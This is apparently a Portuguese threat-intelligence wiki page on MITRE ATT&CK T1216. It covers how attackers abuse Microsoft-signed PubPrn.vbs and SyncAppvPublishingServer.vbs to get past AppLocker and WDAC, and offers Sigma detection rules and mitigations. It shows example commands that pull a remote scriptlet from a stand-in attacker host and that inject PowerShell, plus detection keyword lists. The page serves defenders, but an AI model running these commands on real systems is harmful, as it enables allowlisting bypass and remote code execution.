# T1216 - System Script Proxy Execution > [!info] Identificação MITRE ATT&CK > **Tática:** Defense Evasion · **ID:** T1216 · **Plataforma:** Windows > **Sub-técnicas:** [[t1216-001-pubprn|T1216.001 - PubPrn]] · [[t1216-002-syncappvpublishingserver|T1216.002 - SyncAppvPublishingServer]] ## Descrição **T1216 - System Script Proxy Execution** descreve o abuso de scripts legítimos da Microsoft, assinados digitalmente, para executar código malicioso de forma indireta (proxy). O adversário não executa o payload diretamente - em vez disso, instrui um script confiável do Windows a fazê-lo em seu nome, contornando controles de aplicação como AppLocker, Windows Defender Application Control (WDAC) e soluções de allowlisting. O conceito central é o de **Living Off the Land (LotL)**: utilizar ferramentas que já existem no sistema operacional e carregam assinatura digital da Microsoft, tornando-as automaticamente confiáveis pela maioria das políticas de segurança. Quando um adversário executa `cscript.exe PubPrn.vbs ws://malicious.host/payload.sct`, o sistema enxerga apenas a execução de um script VBS assinado pela Microsoft - o redirecionamento para o payload remoto passa despercebido por controles de execução que não inspecionam argumentos. Esta técnica é especialmente eficaz em ambientes corporativos que dependem exclusivamente de allowlisting baseado em hash ou certificado de assinatura para controlar o que pode ser executado. Scripts como `PubPrn.vbs` e `SyncAppvPublishingServer.vbs` são assinados com certificados Microsoft válidos e frequentemente explicitamente autorizados em políticas corporativas, tornando qualquer payload por eles intermediado igualmente confiável do ponto de vista do controle. A técnica pertence à categoria mais ampla de [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]] (execução via binários do sistema) e compartilha filosofia com técnicas como [[t1059-001-powershell|T1059.001 - PowerShell]] e [[t1059-005-visual-basic|T1059.005 - Visual Basic]], frequentemente sendo utilizada em conjunto com elas. ## Sub-técnicas - [[t1216-001-pubprn|T1216.001 - PubPrn]] - [[t1216-002-syncappvpublishingserver|T1216.002 - SyncAppvPublishingServer]] ## Como Funciona O mecanismo central de T1216 explora o fato de que scripts `.vbs` assinados pela Microsoft aceitam parâmetros arbitrários que podem referênciar recursos externos - incluindo endereços URL com conteúdo SCT (Scriptlets COM). O Windows Scripting Host (`wscript.exe` / `cscript.exe`) então baixa e executa esse conteúdo remoto sob a identidade do script assinado. ### Fluxo de Exploração - T1216.001 (PubPrn) 1. O adversário hospeda um arquivo `.sct` (COM scriptlet) em servidor controlado por ele 2. Executa `cscript /b /nologo PubPrn.vbs ws://attacker.com/payload.sct` 3. O `PubPrn.vbs` aceita o parâmetro como servidor de públicação de impressoras (uso legítimo original) 4. O Windows Scripting Host baixa e executa o conteúdo SCT remoto 5. O payload roda sob o contexto do script assinado Microsoft, bypassando AppLocker ### Fluxo de Exploração - T1216.002 (SyncAppvPublishingServer) 1. Adversário prepara payload PowerShell obfuscado 2. Executa `SyncAppvPublishingServer.vbs "n;Start-Process calc.exe"` (exemplo simplificado) 3. O script aceita argumentos de servidor App-V e os passa para PowerShell 4. O PowerShell é invocado de forma que bypassa políticas de execução de script ### Por Que Funciona - Scripts assinados com certificados Microsoft são explicitamente confiados por AppLocker e WDAC em configurações padrão - A execução ocorre via `wscript.exe`/`cscript.exe` - processos legítimos do Windows - O payload pode ser remoto (URL), tornando-o invisível no disco durante inspeção estática - Logs de evento padrão não capturam o conteúdo dos argumentos passados aos scripts VBS ## Attack Flow ```mermaid graph TB A([Adversário com acesso inicial]) --> B[Preparar payload SCT / PowerShell<br/>Hosteado em servidor C2] B --> C{Vetor de entrega} C --> D[Spearphishing com link<br/>ou anexo que invoca VBS] C --> E[Acesso local<br/>via sessão já estabelecida] D --> F[Usuário executa<br/>ou script dropado executa] E --> F F --> G[cscript.exe invoca<br/>PubPrn.vbs ou SyncAppvPublishingServer.vbs] G --> H{Bypass de controle} H --> I[AppLocker bypassed<br/>Script assinado Microsoft] H --> J[WDAC bypassed<br/>Certificado válido] H --> K[AV/EDR não alerta<br/>Processo pai legítimo] I --> L[Payload SCT remoto baixado<br/>e executado via COM Scriptlet] J --> L K --> M[PowerShell invocado<br/>com bypasse de política] L --> N[Execução de código malicioso<br/>em contexto confiável] M --> N N --> O[Persistência / Lateral Movement<br/>/ Exfiltração] style A fill:#c0392b,color:#fff style N fill:#e74c3c,color:#fff style O fill:#8e44ad,color:#fff style I fill:#27ae60,color:#fff style J fill:#27ae60,color:#fff style K fill:#27ae60,color:#fff ``` ## Exemplos de Uso por Atores Reais ### APT e Grupos de Ameaça A técnica T1216 foi documentada em campanhas reais de atores sofisticados que buscam evadir controles de endpoint em ambientes corporativos com políticas de allowlisting ativas. > [!example] TA505 / Cl0p - Distribuição via PubPrn > O grupo **TA505**, operador do ransomware [[cl0p|Cl0p]], utilizou `PubPrn.vbs` em campanhas de 2017-2018 para executar payloads JavaScript remotos via COM scriptlets. O script era invocado por macros maliciosas em documentos Office entregues por e-mail, contornando políticas AppLocker em ambientes financeiros e de saúde. > [!example] Campanha "Squiblydoo" - regsvr32.exe + SCT > Embora técnicamente T1218, a técnica de **COM Scriptlet via URL** (conhecida como "Squiblydoo") compartilha o mesmo mecanismo de T1216.001. Múltiplos grupos financeiramente motivados exploram o modelo de trust de scripts assinados para baixar e executar payloads remotos. Documentado em investigações do Carbon Black e Mandiant contra setores financeiros globais. > [!example] Red Teams e Testes de Penetração > Frameworks de red team como [[s0154-cobalt-strike|Cobalt Strike]] e [[s0363-empire|Empire]] possuem módulos dedicados para proxy execution via scripts do sistema. O módulo `Invoke-AppLockerBypass` do PowerSploit inclui variantes baseadas em T1216, tornando a técnica amplamente disponível para testes de segurança ofensiva e, consequentemente, para atores de menor sofisticação técnica. ### Malware Associado | Malware / Ferramenta | Uso de T1216 | Referência | |---------------------|-------------|-----------| | [[s0363-empire\|Empire]] | Módulo de bypass AppLocker via SyncAppvPublishingServer | PowerShell Empire GitHub | | [[s0154-cobalt-strike\|Cobalt Strike]] | Geração de payloads SCT para bypass via PubPrn | Documentação Cobalt Strike | | [[squiblydoo\|Squiblydoo]] | Técnica análoga via regsvr32 + SCT URL | Carbon Black Research | ## Detecção ### Indicadores de Comprometimento (IoCs Comportamentais) - `cscript.exe` ou `wscript.exe` executando `PubPrn.vbs` com argumento contendo `ws://` ou `http://` - `SyncAppvPublishingServer.vbs` executado com argumentos contendo cmdlets PowerShell - Processos filhos de `wscript.exe`/`cscript.exe` criando conexões de rede de saída - Acesso a arquivos `.sct` em caminhos temporários ou de rede ### Regra Sigma - PubPrn.vbs com URL Remota ```yaml title: T1216.001 - PubPrn Proxy Execution with Remote SCT id: 7f5d1c2a-3b4e-4f8a-9c6d-2e1b5a4f7c3d status: stable description: > Detecta execução de PubPrn.vbs com argumento de URL remota, indicativo de bypass de AppLocker via COM Scriptlet. references: - https://attack.mitre.org/techniques/T1216/001/ - https://lolbas-project.github.io/lolbas/Scripts/Pubprn/ author: RunkIntel Detection Engineering daté: 2026-03-25 tags: - attack.defense_evasion - attack.t1216.001 logsource: category: process_creation product: windows detection: selection_main: Image|endswith: - '\cscript.exe' - '\wscript.exe' CommandLine|contains: - 'PubPrn' selection_remote: CommandLine|contains: - 'ws://' - 'http://' - 'https://' condition: selection_main and selection_remote falsepositives: - Nenhum esperado - PubPrn legítimo não usa URLs remotas como argumento level: high ``` ### Regra Sigma - SyncAppvPublishingServer com PowerShell ```yaml title: T1216.002 - SyncAppvPublishingServer PowerShell Bypass id: 8a3f9d1c-4b2e-5c7a-0d8e-3f2a6b9c1d4e status: stable description: > Detecta SyncAppvPublishingServer.vbs invocado com argumentos contendo comandos PowerShell, indicativo de bypass de política de execução. references: - https://attack.mitre.org/techniques/T1216/002/ author: RunkIntel Detection Engineering daté: 2026-03-25 tags: - attack.defense_evasion - attack.t1216.002 logsource: category: process_creation product: windows detection: selection: Image|endswith: - '\cscript.exe' - '\wscript.exe' CommandLine|contains: - 'SyncAppvPublishingServer' powershell_args: CommandLine|contains: - 'Start-Process' - 'Invoke-Expression' - 'IEX' - 'DownloadString' - 'EncodedCommand' condition: selection and powershell_args falsepositives: - Ambientes App-V legítimos com automação de publicação (raro) level: high ``` ### Fontes de Dados Recomendadas | Fonte | Tipo | Detalhe | |-------|------|---------| | Windows Security Event Log (4688) | Process Creation | Captura linha de comando completa com argumentos | | Sysmon Event ID 1 | Process Creation | Inclui hash do processo pai e linha de comando | | Sysmon Event ID 3 | Network Connection | Conexões de rede de `wscript.exe`/`cscript.exe` | | EDR Telemetry | Behavior | Detecção comportamental de proxy execution | | Microsoft Defender for Endpoint | Alert | Regra nativa para PubPrn SCT execution | ## Mitigação | ID | Mitigação | Implementação | Eficácia | |----|-----------|---------------|---------| | [[m1038-execution-prevention\|M1038]] | Execution Prevention | Configurar WDAC/AppLocker para bloquear execução de VBS com argumentos de URL - **não apenas por hash de script** | Alta | | M1042 | Disable or Remove Feature | Remover ou renomear `PubPrn.vbs` em sistemas que não usam públicação de impressoras via script | Alta | | M1049 | Antivirus/Antimalware | Habilitar inspeção de argumentos de linha de comando em tempo real | Média | | M1026 | Privileged Account Management | Restringir quais usuários podem executar scripts VBS do sistema | Média | | M1021 | Restrict Web-Based Content | Bloquear saída HTTP/HTTPS de `wscript.exe` e `cscript.exe` no firewall de endpoint | Alta | > [!warning] Limitação de AppLocker por Hash > Configurações de AppLocker que permitem `PubPrn.vbs` pelo hash ou pelo caminho (`C:\Windows\System32\`) são **completamente contornadas** por T1216.001. A mitigação eficaz requer inspeção de argumentos - não apenas do binário invocado. ## Contexto Brasil/LATAM No contexto brasileiro e latino-americano, T1216 aparece principalmente em dois cenários operacionais: **1. Campanhas de Ransomware contra Setor Financeiro e Industrial** Grupos de ransomware que historicamente operam contra alvos brasileiros - como operadores afiliados do [[lockbit|LockBit]] e [[cl0p|Cl0p]] - frequentemente empregam técnicas de proxy execution como parte de sua cadeia de infecção. A prevalência de ambientes corporativos com Windows Server e políticas AppLocker herdadas (configuradas por hash, não por comportamento) torna o setor industrial brasileiro particularmente vulnerável. **2. Red Teams Locais e Testes de Penetração** A comunidade de segurança ofensiva brasileira - presente em eventos como H2HC (Hackers to Hackers Conference) - documenta e testa T1216 regularmente em avaliações de maturidade de controles. Organizações com SOC interno que monitoram apenas alertas de AV/EDR sem telemetria de linha de comando estão expostas. > [!tip] Recomendação para SOCs Brasileiros > Habilitar **Process Creation Auditing com linha de comando** (Política de Grupo: `Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy > Detailed Tracking > Audit Process Creation`) é o primeiro passo crítico para detectar T1216. Sem argumentos de linha de comando nos logs, a detecção é impossível. **Setores mais expostos no Brasil:** - [[financial|Setor Financeiro]] - alta adoção de AppLocker sem configuração de argumento - [[setor-industrial|Setor Industrial]] - ambientes OT/IT com Windows legado - [[government|Governo]] - políticas de allowlisting por hash em vez de comportamento ## Referências - [MITRE ATT&CK - T1216](https://attack.mitre.org/techniques/T1216) - [MITRE ATT&CK - T1216.001 PubPrn](https://attack.mitre.org/techniques/T1216/001/) - [MITRE ATT&CK - T1216.002 SyncAppvPublishingServer](https://attack.mitre.org/techniques/T1216/002/) - [LOLBAS Project - PubPrn.vbs](https://lolbas-project.github.io/lolbas/Scripts/Pubprn/) - [LOLBAS Project - SyncAppvPublishingServer.vbs](https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/) - [Carbon Black - PubPrn COM Scriptlet Bypass](https://www.carbonblack.com/blog/defeating-device-guard-a-look-at-wdac/) - [Red Canary - Detecting Living Off the Land](https://redcanary.com/threat-detection-report/techniques/system-binary-proxy-execution/) --- *Fonte: [MITRE ATT&CK - T1216](https://attack.mitre.org/techniques/T1216) · Versão MITRE: 16.2*